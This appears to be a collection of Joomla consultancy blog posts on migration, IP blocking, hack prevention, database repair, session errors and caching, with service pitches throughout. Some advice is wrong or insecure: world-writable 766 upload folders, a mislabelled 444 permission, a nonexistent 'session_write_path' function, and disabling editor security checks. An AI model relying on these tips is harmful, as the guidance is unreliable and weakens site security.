  • Find this line: $lists['sendEmail'] = JHTML::_('select.booleanlist', 'sendEmail', 'class="inputbox" size="1"', $user->get('sendEmail') );
  • Add the following line after the above line: $lists['registered'] = JHTML::_('select.booleanlist', 'registered', 'class="inputbox" size="1"', $user->get('registered') );

That’s it! You’re done!

Now we don’t recommend anyone that doesn’t have a programming experience to do the above. If you try the above and run into problems, or if you want someone else to do it for you, then go ahead, contact us. Our rates are very reasonable, and we’ll get the job done in no time.

How to Move Your Joomla Website to Another Server?

Not a week goes by without us receiving at least 3 requests to move a Joomla website from one server to the other (or from one hosting account to another). Generally, the process is straightforward, and can be done in 3 methods:

Method 1

This method is the easiest one and the most straightforward, and only requires FTP and phpMyAdmin access to your old server and your new server.

  1. Step 1 – Grab the data from your old server
    1. Connect to your website through FTP

    2. Download your whole website’s directory (Note: this may take hours)
    3. Go to phpMyAdmin
    4. Click on the “Export” tab above
    5. Download your database – preferably in zip mode
  2. Step 2 – Upload the data to your new server

    1. Connect to your new website through FTP
    2. Upload your website files under a folder called yourwebsitename.com
    3. Go to the phpMyAdmin of your new hosting
    4. Click on the “Import” tab above
    5. Upload your database file that was generated in step “e” above

Method 2

This method only works if you have cPanel installed on both the old and the new server. We are assuming that you have only one website in your account.

  1. Step 1 – Download your website and database from your old server
    1. Go to your cPanel account on the old server

    2. Click on “Backups” (in the middle – center of the page)
    3. Click on “Home Directory” to download it
    4. Click on the database name of your website to download it (under Databases)
  2. Step 2 – Upload your website and database to your new server

    1. Go to your cPanel account on the new server
    2. Click on “Backups”
    3. Upload your home directory file downloaded in step “c” above (under “Restore a Home Directory Backup”)
    4. Upload your database file downloaded in step “d” above (under “Restore a MySQL Database”)

Method 3

In this method, we will show you how to use Akeeba Backup (formerly JoomlaPack) to download your website, and then upload it through FTP:

  1. Step 1 – Download your website and data using Akeeba Backup

    1. First download Akeeba Backup from here
    2. Install the Akeeba Backup in your current Joomla website. By going to “Extension”, “Install/Uninstall”, and then selecting the Akeeba Backup file in the “Package File” field, and then clicking on “Upload File & Install”.
    3. After the installation is complete, go to “Components” and then go to “Akeeba Backup”, and then backup your website and download it.
  2. Step 2 – Upload your website and data to your new server using FTP

    1. Extract the backup file you have downloaded in the previous step.
    2. Connect by FTP to your new hosting account (or new server).
    3. Do the same steps in Method 1 – Step 2 above. Note that the database file is located in your backup file under “installation/sql” and is called “Joomla.sql”

Now that you have physically moved your website, you need to point your domain’s name servers with your domain registrar (such as GoDaddy) to your new server. When you are done doing so, you need to go to your new cPanel and add your website’s domain under “Addon Domains”. Note: Leave the document root as is.

If you need help in doing any of the above, just contact us; we’ll be very eager to help you!

Do Joomla Websites Have to Be Ugly?

We have worked on many Joomla websites for many customers covering nearly every profession anyone can think of. All of our customers’ websites are great when it comes to content, but most of them are not that great when it comes to design. Some of them are very ugly, and yes, we do tell our customers when their websites are ugly, and they either agree or they say that they know this already, but that was the design that they’ve chosen.

One has to think, is an ugly website a given when it’s powered by Joomla? The answer is obviously no, we have worked on many websites that are beautiful. See, the reason why many of our customers don’t have a very beautiful website is because they just pick a template from the vast array of the available Joomla templates, and they install that template without any modification. There are several disadvantages to this:

  • All generic templates, including the paid ones (especially the paid ones), look much better in the demo than on your website. This is a little trick that designers do to make their templates more appealing so that they get more sales.
  • A template that is not made for your website does not fit your website. Your website may have a corporate identity (in case of a business website), a cause (in case of charity website), a mission (in case of an educational website), etc… Any template that you install needs to be modified to accommodate your website’s identity.
  • A generic template is often not compatible with your content. Some templates will look better if you activate certain modules, add pictures to articles, use specific colors, etc… But what if you do not want to activate these modules, you don’t have pictures in your articles, and you have your own colors/fonts that you want to use.

So, how can you have a beautiful Joomla website?

We’re happy to say that this is very easy, all you need to do is have a designer either accommodate a template for you, or create you own Joomla template. Then, and only then, you will have a very nice website that you will feel very proud to own. Unfortunately at itoctopus we currently don’t develop custom-made templates. We are currently seeking partnership in that area, however.

PS: One of the very nice Joomla websites we have worked on today is a recipe website, you can check it here (note: this link will take you to an external website).

Can Joomla Run on a Windows Server?

Some of our potential clients already have hosting plans on Windows Servers, and they prefer not to switch as they are already familiar with the system, so they come to us and ask us “Can I run Joomla on a Windows Server?”

Our answer is: “Of course you can”. Joomla can run on a Windows server that is running either IIS or Apache. All you need to do is the following:

  • Install IIS or Apache
  • Install and configure PHP
  • Configure IIS or Apache to work with PHP
  • Install MySQL and phpMyAdmin
  • Create a database that will be used by your Joomla website
  • Create a user (with limited access) that will connect to this database – do not connect as root!
  • Install Joomla
  • Modify the different file paths (such as the log_path and the temp_path in your configuration.php) in the application to the Windows folder format (for example: "c:\inetpub\wwwroot\mywebsite.com" instead of "/web/vhosts/www/mywebsite.com"
  • Ensure that you have set the right write permissions on your sessions folder defined in php.ini

It is important to know that Joomla is not as stable as it normally is when it runs under Windows, because some of the PHP instructions are meant to work only under a LAMP environment, and there are some PHP functions (especially those pertinent to the sessions) that have known issues with IIS and/or Windows.

Note: If you’re trying to upload and the uploads are not working, this means that you have not set the proper permissions on the upload directories.

If you’re having problems installing Joomla on a Windows Server, and you feel you need help, then contact us! We’re here to help you 24/7/365 (or 366 in case of a leap year!).

Is Joomla Good for Ecommerce?

Many of our clients, who already have a Joomla website, reach a point where they want to sell products and/or services on their websites. They all come to us with this immediate question: “Is Joomla good for ecommerce?”.

Our answer is always: “It depends”.

Yes, whether Joomla is good or not for ecommerce depends on several factors, which are:

  • The importance of your website
  • The type of products you are selling
  • The payment method you will go for
  • The number of products you expect to sell

The importance of your website

Joomla’s most used ecommerce extension is VirtueMart, which is OK for websites that are not that prominent on the Internet. This is because VirtueMart is not the best looking extension out there, and the themes available for that extension are not that beautiful and not that abundant. However, a Joomla designer/developer hybrid can integrate your own template in VirtueMart, which will make your ecommerce functionality look very professional. If you decide not to do this, and you do own a large and important website, then the use of VirtueMart can easily compromise you website’s professionalism.

The type of products that you are selling

We have noticed that ecommerce with Joomla is great for some types of products, and not that great for some others. This is because VirtueMart can become very complicated when it comes to accommodating the selling of some products. For example, let’s say you own a pizza shop, and you want to sell customizable (make-your-own) pizzas. The user will go to your website, and choose a pizza, then choose a size, and choose some toppings. In theory, this should work very well, but what if you decide to have a different price for the toppings for each and every size of the pizza, or even worse, what if you decide to change the toppings altogether for each and every size? With standard VirtueMart, you cannot do this. (Note: We can customize VirtueMart to accommodate such requests, just contact us for a free consultation).

The payment method that you will go for

If you want to go with PayPal, 2checkout, and others, then you can use VirtueMart. However, what if you decide to use a non-standard payment gateway? VirtueMart won’t support it by default. You will need to hire a 3rd party company that will hook up that payment gateway for you (Note: Again, we can help you do this).

The number of products that you expect to sell

As a rule, the more products that you expect to sell on your website, the more you should consider integrating a non-Joomla custom component to process the payments for you. VirtueMart is good for a reasonable number of sales per day, but once you start selling more than 200 sales/day, then you should invest in an alternative, a better alternative, an ecommerce functionality that is made just for you and that will handle your own needs, that is very reliable, and can handle multiple sales coming through at the same moment.

As a conclusion, it’s good to use Joomla provided your website is not that big, your products are simple (they do not need customization by the buyer), you opt for a standard payment method, and you don’t expect to have more than 200 transactions a day.

How to Make Your Joomla Website Faster

Joomla is highly criticized of being slow. We can say, with confidence, that this criticism has grounds. Joomla is indeed slow. This is because Joomla is a very complex CMS and there’s a lot of code that is executed in order to display even the “about us” page of a website.

So, what can you do make your Joomla website faster? Just follow the below tips, and you will notice a positive and significant change in performance:

  • Use caching: Joomla allows you to cache your pages. Note that we’re not talking about caching the content of your pages, we’re talking about caching the PHP code that is to be executed. This is because before Joomla attempts to display a page, Joomla creates a PHP file that contains all the code to be executed in order to display a page. If you use caching, the overhead of creating that PHP file is eliminated. However, you should pay attention that when you use caching, some of your changes won’t appear unless you delete your cache.
  • Disable unused extensions: If there’s an extension (especially a plugin) that you’re not using, disable it. Extensions can dramatically slow down the speed of your Joomla website, and you don’t want extensions that you’re not even using anywhere on your website to slow down your website.

  • Check your extensions: Here’s how to check your extensions. Just disable them all, and then enable them one by one, benchmarking your website every time you enable another one. See by how much the speed loading has increased. And, if you see an extension that noticeably increased the loading time of the page, then you should optimize it. But how do you do this? There a couple of ways: 1) optimize the database structure used by the extension (such as indexing tables, optimizing queries, etc…), 2) optimize the PHP code of the extension. If you’re not a developer, then you need to have a developer do both for you (Note: We will gladly do this for your, just contact us!).

  • Optimize the Joomla core code: This is a last resort, and should only be used if, and only if, your Joomla website has a lot of pages and/or receives a lot of visitors. This is a very delicate task and it’s important that you seek professional assistance in order to do this. Note that once you optimize the Joomla core code, it will become very hard to upgrade, hassle-free, to a new version of Joomla.

How to Block an IP Address on Your Joomla Website?

Sometimes, you feel that you are obliged to block a certain IP from accessing your Joomla website. Reasons may include:

  • The IP is hacking your website.
  • The IP is scraping content from your website.
  • The IP is attacking your website with a lot of requests.
  • The IP is continuously spamming your website.
  • The IP is hotlinking to your website.

This is not complicated at all, all you need to do the following:

- Connect through FTP to your website
- Download the file called .htaccess
- Add the following lines to the .htaccess file:


order allow,deny
deny from 70.80.121.123
allow from all

Now let’s assume that you are being attacked by more than one IP, here’s what you should do


order allow,deny
deny from 70.80.121.123
deny from 60.80.23.44
allow from all

Now let’s assume that you are being attacked by a range of IPs, for example, all the IPs that start with 70.80.121, here’s what you should do:


order allow,deny
deny from 70.80.121
allow from all

Now let’s assume that you are being spammed/hacked by a small sized ISP, and you decide that you don’t want any traffic coming from that particular ISP, here’s what you should do:


order allow,deny
deny from badisp.com
allow from all

Now, the question remains, how do you know what are the IPs that are spamming you? This is very easy, you check your log files, and see if there are repetitive requests from that same IP.

If you feel that you can’t do the above then feel free to contact us, we are always there to help!

How To Create A Logout Menu Item In Joomla?

Sometimes, even the seemingly easiest things are very complicated to in Joomla. One of these easy, yet complicated things to do, is creating a Logout menu item in Joomla. We had this request several times so we thought it would be helpful to share how to do it.

Note that the below applies to both Joomla 1.5 and Joomla 1.6.

Step 1 – Install Jumi

The first thing that you need to do is to install Jumi, an extension that allows you to have PHP code in your text (and will have that PHP code processed as well). Jumi is compatible with all versions of Joomla.

Step 2 – Create article

Create a new article (let’s call it “logout”) and paste the following code into a Jumi:

<?php
$return = base64_encode('http://www.example.com');
$url = JRoute::_('index.php?option=com_users&task=user.logout&' . JUtility::getToken() . '=1&return=' . $return);
header('Location: ' . $url);
exit;
?>

Note: Swap ‘http://www.example.com’ with the URL that you would like users redirected to after log out.

Step 3 – Create menu item

Create a new menu item with a Menu Item Type of “Single Article” and select the “logout” article. You will also want to set the Access of this menu item to your Registered group or a similar group of logged in users so that only logged in users can see your logout link.

That’s it, you’re done! You now have a logout link in you menu!

If you think that the above is a bit over your head, then feel free to contact us and we’ll be glad to help you. We will charge you for an hour’s work (please check our fees).

<?php
$return = base64_encode(’http://www.example.com’);
$url = JRoute::_(’index.php?option=com_users&task=user.logout&’ . JUtility::getToken() . ‘=1&return=’ . $return);
header(’Location: ‘ . $url);
exit;
?>

10 Reasons Why Your Joomla Website Got Hacked

We have at least 3 times every week where a customer comes to us with a hacked Joomla website. Usually, the Joomla website will be either filled with hidden malicious content, is redirected to another website with malicious content, has all its data erased, or is simply does not show up.

Here are, according to our experience, the top 10 reasons on why your Joomla website got hacked:

  1. Your website has very old extensions installed: This is the top and most common reason behind a hacked Joomla website. You should always keep your extensions up-to-date, and if you’re using an extension that is no longer supported, then try to find an alternative. If not, have a developer take a look at that extension to ensure it has no vulnerability issues.
  2. You’re using an older version of Joomla: We know that it’s hard to keep your Joomla website up-to-date with the latest version, especially if you have a lot of extensions (components, modules, plugins) that will be broken if you upgrade Joomla. But you must do this, you can’t keep on using an outdated version forever.
  3. You have write permissions on your .htacess file: By default, your .htaccess file has write permissions on it because Joomla has to update it, especially when you’re using SEF. The problem is that this will leave your .htaccess vulnerable to attacks that aim at changing it. You should always set your .htaccess permission to 444 (r-xr-xr-x) or maybe 440 (r-xr-x-r-x).
  4. You have write permissions on your *.php files: Neither the web server nor the world should have write permissions on your Joomla *.php files. You should ensure that the permissions of all your *.php are set to 444.
  5. Allowing users to upload scripts: For example, if a component accepts images, you should ensure that only images are allowed to be uploaded. Users should not be able to upload scripts (such as *.php files)
  6. Giving execute permissions on public directories: In this context, public directories mean those directories where users are able to upload their files to. Imagine someone uploading a file to one of your upload directory (in a way or another). If that file is a script, and if that directory allows for scripts to run, then the individual can easily run the malicious script. Public (upload) directories should all be given a permission of 766 (owner can read, write, and execute. The rest can only read and write).
  7. Using non-prominent extensions: You should always use extensions that are used and tested by many people. Using an extension that is used by very few people is not a good practice, and can get your website hacked (attacker can use several techniques such as XSS, SQL injection, etc…). In case you feel obliged to use such an extension, have a developer review it for security.
  8. Giving credentials to untrusted developers: You shouldn’t give your website credentials to untrusted developers. And, if you really have to, then change all your passwords once the developer is done working. We have already explained how to change your Joomla database password with no downtime.Note: At itoctopus, we immediately destroy the customer’s website credentials once we’re finished working on it.
  9. Giving all the possible permissions to the database user: Once your Joomla website is setup, the database user should only INSERT rows, UPDATE rows, DELETE rows, and CREATE tables. He should not DROP tables or DROP the database. Ensure that only the necessary permissions are given for the Joomla database user.
  10. Feeling confident that your website cannot get hacked or that no one would hack your website: Regardless of whether you have a small charity website or a huge school website, your website is susceptible for hacking. Many hackers use software to scan the Internet for websites with vulnerabilities and attack them, just because they can! Always take your website’s security seriously, don’t think that if you’re too small no one would consider hacking your website, or that if you’re too big you are secure enough and no one would be able to hack your website.

We suggest you go through the list above, and see where you comply and where you don’t, and if you have any questions, then contact us (or better yet, call us), and we’ll definitely help you!

Is Joomla Hard to Learn?

While the absolute majority of our customers already have Joomla websites, some of them don’t even have a website and want us to create a website for them using Joomla, or have a website yet or they are using another CMS and they want us to move them to Joomla. These customers ask for Joomla because they have heard a lot of good things about it: how they can build beautiful websites themselves with no programming experience, and how they can benefit from the myriad of extensions that will add functionality and interactivity to their websites. All these “good things” about Joomla aside, the first question that our customers ask us is: “Is Joomla hard to learn?”

Like any other question, this particular question has multiple answers:

  • If you are only going to update your articles (and not create new ones, in this case the sole purpose behind your Joomla website is to have an online presence), Joomla is somehow easy (you will need to learn how to login, how to locate your articles, how to upload media, how to link to the media from your articles, and how to save your articles).
  • If you are going to add articles and play with the menus, then Joomla becomes of of medium difficulty.
  • If you want to install and publish modules, components, and plugins, then Joomla becomes difficult.
  • If you want to play with the templates, or use complicated components such as VirtueMart and JEvents (among others), then Joomla is really difficult.
  • If you want to customize extensions (components, modules, and plugins) to suit your needs, then you won’t be able to do this by yourself, you will need to get help from a Joomla Expert.

We know that this post makes Joomla look intimidating, but that’s because it’s what it actually is! As programmers with at least 15 years of experience, sometimes it takes a day to identify the source of a problem that one of our clients is experiencing, that’s because Joomla is a very complicated product.

Now the question is, should you choose Joomla? Of course you should, there are many companies out there whose existence revolves around helping you if and when you run into a problem. Gone are the days where small sized companies are at the mercy of a programmer for updating their websites, now with Joomla they can do this themselves, and they can have full control of their websites. Is Joomla Hard? It can be! Can anyone maintain a Joomla website? Definitely!

Again, if you need help, you can always contact us, and we’ll be delighted to help you (and our fees are very reasonable).

How to Change the Database Password in Joomla?

In some situations, you may find yourself forced to change the database password of your Joomla website. Such situations include:

  • Your website just got hacked.
  • You gave all the website credentials (particularly the username and the password of the database) to a developer that you no longer trust.
  • You have a good habit of changing all your passwords regularly.

So how do you change the password for your Joomla database?

This is a two step process, and we are assuming you are hosting with a company that offers cpanel (if you’re not, then maybe you should consider switching to us!).

Step 1: Change your database password in Cpanel

Here’s how yo do it:

  1. Login to Cpanel (Typically your cpanel address would be http://www.yourwebsitaddress:2028).
  2. Click on “MySQL Databases” near the bottom of the page (located under a section called “Databases”).
  3. Scroll down to the bottom of the page, to the section called “Current Users.
  4. Click on the Joomla database user.
  5. Enter the old password and the new password.
  6. The password is now changed, that’s the good news. The bad news is that your website has stopped working! You need to execute Step 2 immediately to get it back up!

Step 2: Change your database password in Joomla

Here’s how yo do it:

  1. Connect to your website through FTP.
  2. Download the file “configuration.php”.
  3. Open the file “configuration.php” in a text editor, such as Notepad.
  4. Change the “$password” value to a new value.
  5. Upload the file, and you’re done!

Now is there a way to change your database password while having no downtime on your Joomla website? Yes there is! All you need to do is do the following:

  1. Create a new database user in Cpanel.
  2. Give the user access to your Joomla database.
  3. Update your configuration.php file to point to the new user (you have to change both the “$user” and the “$password” entries, where “$user” becomes the username of the new user, and “$password” becomes the password of the new user).
  4. Upload your configuration.php (now your website is connecting by using your new user).
  5. Now go your cpanel again, and change the password of the user as described in “Step 1″ above.
  6. Now update your configuration.php to reflect the credentials of the old user with the new password that you just set.
  7. Upload your configuration.php file, and now you’re done with 0 seconds of downtime!

If you feel that the process above is a bit over your head, then go ahead, contact us. We will only charge you for one hour for doing the above (check our fees to see how much would that cost you)!

Salvage Your Joomla Website!

Sometimes one of your Joomla database tables (jos_*) , or even your whole Joomla database can become corrupt because of the following:

- Hardware failure on your server (you should always pray that this never happens on your server, and if it does, then you should pray that you have a recent backup)
- Someone restarted the server (or shall we say, forced restart) while MySQL was trying to write to a table in your database (this is the most common scenario)
- Concurrent modifications of the same table by several programs (this scenario will probably never happen to you)

So what will happen if a Joomla table becomes corrupt?

In some cases, table corruption can be benign, in other words, you won’t see it unless you visit a specific page that wants to read and/or write data to this table. In most cases, table corruption will crash your whole website. Your website will either show a blank page and/or will return an HTTP 500 page (server error) to the user. Alternatively, your website may show PHP errors in case you have played with the error reporting of the website.

What will happen if a Joomla database becomes corrupt?

When a database becomes corrupt, then there is no way, on heaven or on earth, to have anything on your website working unless the database is fixed. In this scenario, your website will always return an HTTP 500 error to the visitor, or will show a PHP error stating that it’s having problems with the MySQL database.

In either scenario, you will see the following error if you enable PHP error reporting:

"SQL Error : 1016 Can't open file: 'databasename_jos_tablename.MYI'."

Some have reported seeing an error that starts with “Incorrect key file…”. We have personally never seen this error.

How do you fix the problem?

Fixing this problem requires that you have access to phpMyAdmin. Here’s what you should do to repair the table/database:

- Go to phpMyAdmin
- Export the database to a zip file and download it (we are backing up the database here – it’s much better to be safe than sorry). You can do this by clicking on the name of the database on the left menu, then clicking on “Export” at the top right, then clicking on SQL, and then clicking “Save as File”. If you have a lot of data, then it’s better to use a compression method such as zip or gzip.
- Once the database is backed up, go to the “Structure” tab (top left), and then select the affected tables (all the tables if the whole database is corrupt), and then click on “Repair”. This should repair everything. Note that you might lose a minimal amount of data when you do this.
- Go to your website and see if it’s working.
- If your website is still not working then it’s better to ask for professional help on your website.

Conclusion

Salvaging your Joomla website is a dangerous and critical process, and we only recommend that you do the above steps if you have at least some programming/system administration experience (you might lose everything if you make a mistake). If you prefer to have this work done by professionals, then please contact us, we’ll be happy to help you. We’ll charge you only 2 hours for this service (see our fees to know how much it would cost you), and your website will be up and running in no time.

One last word of advice, backup your website early, backup your website often!

How Do You Add Marquee to Your Joomla Website?

Some of our clients come to us with requests to add a marquee to their Joomla website. Although we always want to have more work, we tell them to do this themselves. Why? Because it’s really easy!

All you need to do is to add the following to the text that you want to have scroll over the screen:

- For a horizontal marquee:

<marquee direction="right">Your Text Goes Here</marquee>

- For a vertical marquee:

<marquee direction="down">Your Text Goes Here</marquee>

Note that for direction, you can have the values of right (scrolling horizontally from left to right), left (scrolling horizontally from right to left), up (scrolling vertically from the bottom to the top), and down (scrolling vertically from the top to the bottom)

Now, what if you want to add the a marquee across the board (on every page), instead of just one page? At this point, you can should use a module to do this. We can help you to do it ourselves if you want.

A popular demand is a marquee that will display the latest articles at the top of the page, with a link to every article. Again, we can do this for you, it’ll take us 2 hours to configure and install our company-developed module to your website. Please check our fees to see how much that would cost you, and, if you want us to do the job, then all you have to do is (you’ve guessed it) contact us! We’re there for you 24/7/365!

Note: You may have a problem adding the <marquee> tag to your editor (whether you are using Joomla 1.5 or 1.6), because after saving, your editor will strip out the marquee tag. In this case, you need to change the settings for the specific Joomla user to remove all security checks when adding/editing content (which means that the user will be able to insert any kind of  HTML code he wants). If all else fails, then install Jumi.

How to Add Background Music To Your Joomla Website

Some of our clients ask us to add background musing on their Joomla website. Typical requirements include:

  • I want to play Song X on my website.
  • I want the music to play on all browsers.
  • I don’t want the music to stop if the person moves from one page to the other.

Playing music is not that hard, playing the music on all (recent) browsers is not that hard either, but what’s hard is ensuring that the music continues to play once you move between pages.

How do accommodate this request?

We install a module called JBGMusic. It does work nicely, sometimes it requires some programming tweaks here and there but other than that it fits the client’s needs. However, there is an issue, this module uses Flash. Some of our clients don’t want to use Flash on their websites, so what do we do in this case?

If our client doesn’t want Flash on his website, we create a custom module that will popup a window and plays music by using the Windows Media Player. However, this module has a problem because if the website’s visitor has disabled popups, then he won’t be able to hear the music. In this case, what we do is that we detect if the visitor has disabled popups, and in this case we ask the visitor to manually click on a prominent link if he wants to hear the music.

In any case, we believe that music should not be added to any website because:

  • It’s annoying: Most visitors are annoyed by the music played on the website, especially if the visitors do not know you nor your business personally (which tends to constitute 99% of the visitors to websites getting real traffic).

  • It results in a high bounce rate: Statistically, most visitors tend to immediately leave the website if they hear any music played on the website.

  • It gives the impression that your website is old: Playing music on your website is so passé, it’s so 1990’s. Your visitors will get the impression that your website was developed in the previous millennium even though it was developed a few months ago.

  • It doesn’t provide any benefit: Playing music on your website will never provide any benefit to your business or your organization. In fact, as you can see from the above, it will do more harm than good, and will give the impression of unprofessionalism.

Having said all the above, if you still want to add music to your website, then we’re here to help. It will takes 1 hour to do install and customize the JBGMusic module (a total cost of $75 based on our current fees), or 8 hours ($600) to develop and install the custom solutions.

Why We Are the Joomla Security Experts

Website security has always been a hot topic, and now it’s even a hotter topic as security standards, such as PCI-DSS, are becoming required by credit card companies as well as internal security auditors (especially in schools, universities, and other websites). As a result, we are currently experiencing a surge in projects consisting of securing a company’s/individual’s website(s) in order to meet the necessary requirements. We are proud to say that we were able to do the job every time, and every website we have secured was marked as “passed” or “secured” (depending on the security test).

So how do we secure your Joomla website?

We follow the below process:

  • We check your Joomla version, and if you’re using a very old version, then we suggest you upgrade it to the latest version.
  • If you choose not to upgrade Joomla, we will fix all the vulnerabilities in your current version.
  • We check all the non-standard extensions that you have installed on your website, and we see if you are using the latest version of each extension. If you’re not, then we’ll update it1.
  • We will then run a security scan provided by Acunetix2 in order to check for the following vulnerabilities:
    • XSS
    • SQL Injection
    • Exposed passwords
    • Exposed directory strucutre
  • We will then fix all the code that is marked as vulnerable, and then we run the test again, until your website passes the scan.
  • We will then check the permissions on your directories/files, and remove non-required permissions (for example, index.php is often assigned a permission of 664 or 644, while it only needs a permission of 444).
  • If you’re looking to satisfy the PCI requirements, then at this point we’re almost 90% done. We will then work exclusively to make your Joomla website PCI compliant.

Do you see now why we are the Joomla Security Experts?

How much time will this job takes? It takes 3 days to finish the whole job from A to Z and make your website secure. Note that for PCI requirements our job is restricted to securing your website and advising on the right course of action for security your network.

So what will be the total cost for securing a Joomla website? Since it takes 3 days3, then it’s 18 hours, and at the current rate of $75/hour, the total will be $1,800, and you pay only if the website is secure.

Securing your website will give you peace of mind, and will make your visitors at ease especially when you’re accepting payments on your website. If you are interested in making your website bullet proof, then contact us, and we will get the job done – promise!

1We may not update it if the newer version is problematic or is substantially different than the older version.
1Acunetix is a 3rd party software and our clients are responsible for buying the necessary license to run the tests.
3Upgrading Joomla is a separate project and will take us an additional day (8 hours) to finish.

How to Fix Joomla’s Problem With session.save_path

We have previously examined a problem where one of our clients was not able to login to the administrator’s control panel, and we have concluded that the root of the problem is that PHP was unable to write the session information to the filesystem because it doesn’t have the proper permissions.

This problem often happens at an even larger scale when a new Joomla website is installed on a new server. The person installing Joomla will see something like “PHP is trying to open a file (that looks like a session file) but is unable to write to the file”. Obviously, installation cannot continue and the user is stuck.

Some try to solve this problem by doing one of the following:

1- Edit the php.ini file and change the session.save_path value to a directory that exists and that Apache (or IIS) has permissions to write to and read from.
2- Create a different php.ini file and install it under the root directory of the website (this way it will be loaded when the website will be launched).
3- Change the permission of the session directory that php.ini is trying to write to.

We think that both 3 solutions are inefficient, here’s why:

- For solution #1, you must have root access to the whole server in order to do this, and since many Joomla website owners don’t have this privilege, we should forget about this solution.

- For solution #2, you must have the right version of php.ini in order to install under your root directory, because if you don’t, then you may fix the session problem, but you may break almost everything else. And we don’t know of many hosting companies that will give the php.ini file to any of their users, so you will need to guess all the information based on php_info(); (which is really hard). Solution #2 is probably the most complicated.

- Now if you’re trying to implement solution #3, it means that there’s a 99.99% chance that you can’t implement it. Why? Because if you don’t have access to the original php.ini file, then it means you don’t have permissions to the session write directory specified in php.ini.

So how can this problem be fixed?

It’s very easy, you just do the following:

Step 1 – Login (through FTP) to your website and create a directory called cache and you it the right permissions.
Step 2 – Get the physical path of your website.
Step 3 – Add the function session_write_path($cache_directory); to the beginning of your index file ($cache_directory is the physical location of your cache direcotry that you created in step #1).

Problem solved!

We can help you solve the problem in no time. We will charge you for an hour, or $75 for a guaranteed fix according to our excellent rates! All you need to do is contact us!

How to Accept Payments on a Joomla Website?

There are many reasons why someone would want to accept a payment on his website, including:

- He might be selling a product
- He might be selling a service
- He might be accepting donation

But if that someone happens to run a Joomla website, how an he accept payments?

Like everything in life, there are two ways to do this: the easy way and the hard way.

The easy way to accept money on your Joomla website is to install a full extension that will handle everything from A to Z. Such extensions include Virtuemart, which can easily turn into the hard way, because, we know from our customers, that Virtuemart is not the easiest extension out there. However, the nice thing about Virtuemart is that once it’s installed and customized according to your needs, it works like a charm, you’ll be able to sell virtually anything on your website, and accept payments for the services/products you’re offering. Payments can be processed using PayPal or other payment processors.

The hard way to accept money on your Joomla website is to procure a custom solution to fit your needs and only your needs. The custom solution will include:

- Displaying your items/services
- A shopping cart (optional: if you’re running a subscription based website you usually don’t want this)
- A payout form
- A connection to the payment gateway (which can be PayPal or a real payment gateway such as Moneris or OptimalPayments)

Of course, both ways have their advantages and disadvantages, the first way is not that hard (not easy, but not hard) to install, but it is very hard to customize to fit your own needs (especially if you’re selling something like magazine subscriptions, and you need to have recurring monthly payments).

The second way is hard to implement and install, but it is very easy to install and to use because the solution was made to fit your needs and your needs only.

Now how much do we charge for implementing the functionality to sell items and accept payments on your Joomla website?

- If it’s the first way, then we charge 3 days of work, or $1,800 (as per our current rates). The fees include setup of Virtuemart, phone tutorial on how to use Virtuemart, as well as minor customizations that have to be done within the three days.

- If it’s the second way, then we charge a full week of work (7 days), or $4,200. The fees include collecting the requirements from you (our client), implementing the requirements, installing the extension, and explaining to you how to use it. In this case we require half the payment upfront.

Interested? Then contact us!

Blank Page on Joomla Login

One of Joomla’s interesting (and common) problems is when a user logs in to Joomla’s administrator’s control panel only to be greeted by a blank page instead of seeing Joomla’s control panel. The blank page doesn’t have any code in it, at all, not even the <html> and the <body> tags. So what’s going on?

This means that there is an error on the page. In fact, when you have a blank page after you login to Joomla, 99% of the times Apache will return a 500 Internal Server Error. But where did that error come from, and, more importantly, what caused it?

The error results from a PHP error, but you don’t see what the error is because Joomla, by default, and for security reasons, hides all the PHP errors from the outside world.

Now where did the error come from? In most of the cases we have encountered so far, the error comes from PHP trying to include a plugin that no longer exists in the filesystem. Here’s an example that we encountered today:

Warning: require_once(/home/yourwebsite/public_html/components/com_joomfish/helpers/defines.php) [function.require-once]: failed to open stream: No such file or directory in /home/yourwebsite/public_html/administrator/modules/mod_translate/mod_translate.php on line 15

Fatal error: require_once() [function.require]: Failed opening required '/home/yourwebsite/public_html/components/com_joomfish/helpers/defines.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/yourwebsite/public_html/administrator/modules/mod_translate/mod_translate.php on line 15

We were able to see the error above (instead of the blank page) because we forced PHP error reporting in /public_html/administrator/index.php using:

error_reporting(E_ALL);
ini_set('display_errors', '1');

Now what caused this error? Regrettably, we have to say that it was you, but without knowing, here’s how:

- You installed an extension (in the above case Joomfish).
- It didn’t work for your, you didn’t like it, or it caused you problems.
- Instead of uninstalling the extension from Joomla’s control panel, you deleted all the physical folders related to the extension on the file system.
- Since the extension was not uninstalled properly, then it is still considered, in the eyes of Joomla, as active.
- Joomla tries to load the extension (usually extensions that cause these problems are plugins) and fails.
- PHP reports an error and you will see the blank page.

How do we fix the error?

We cleanup the filesystem, we cleanup the database, basically we remove everything that has anything to do with the problematic extension.

This job takes an hour, for a total cost of $75 according to the our fee structure. If you’re having this problem, then contact us, even if it’s 2 AM in the morning, on a Sunday, which happens to be New Year’s eve! We know that your website is very important to you and we’re always here to help you!

My Joomla Changes Are Not Showing!

If you’re reading this post then probably the following has happened (or is currently happening) to you:

- You disable a module (or change a template, or disable/enable/update any extension).
- You go to your website and check if the module is no longer there.
- You still see the module.
- You go back to the administrator’s backend on Joomla, you double check if the module is disabled, and it turns out to be really disabled. But you enable it and disable it again, just in case….
- You go back to your website and still see the module active.
- Huh?
- You login as administrator, and you double check again, and you see that the module is indeed disabled? Could it be that you are working on the wrong website (many of our clients run multiple Joomla websites). You check the URL above and it’s definitely the website that you should be working on. Could it be that you’re disabling the wrong module? You search all active and disabled modules and you are now very sure that you are working on the right module.
- You ask this question: “How come my changes on my Joomla website are not showing?”

The reason why your changes are not showing is because you have enabled caching. Caching means that the generated Joomla code (not content) is cached for faster performance. Joomla websites with a medium amount of traffic (1,000+ visitors/day) should enable caching.

So how can you fix this issue? It’s very simple, you clear your Joomla cache. Here’s how:

- Login to your Joomla administrator.
- Go to “Tools”=> “Clean Cache”.
- Click on “Site” (on the menu below, it is next to “Administrator”) .
- Click the main checkbox to select all the cached items.
- Click on “Delete” on the upper right menu.
- Now that you’ve cleared your website’s cache, it is a good time to also clear your backend’s cache.
- On the same page, click on “Administrator”.
- Click the main checkbox to select all the cached items (you can also select each item individually, but since you’re already there it’s better to clean all the cache).
- Again, click on “Delete”.

Now if you’re working on your Joomla website and you’re making changes to your templates/extensions every 5 minutes, it’s better to temporarily disable caching altogether, here’s how:

- Go to “Site”, “Global Configuration” on the menu above.
- Click on “System” on the menu below.
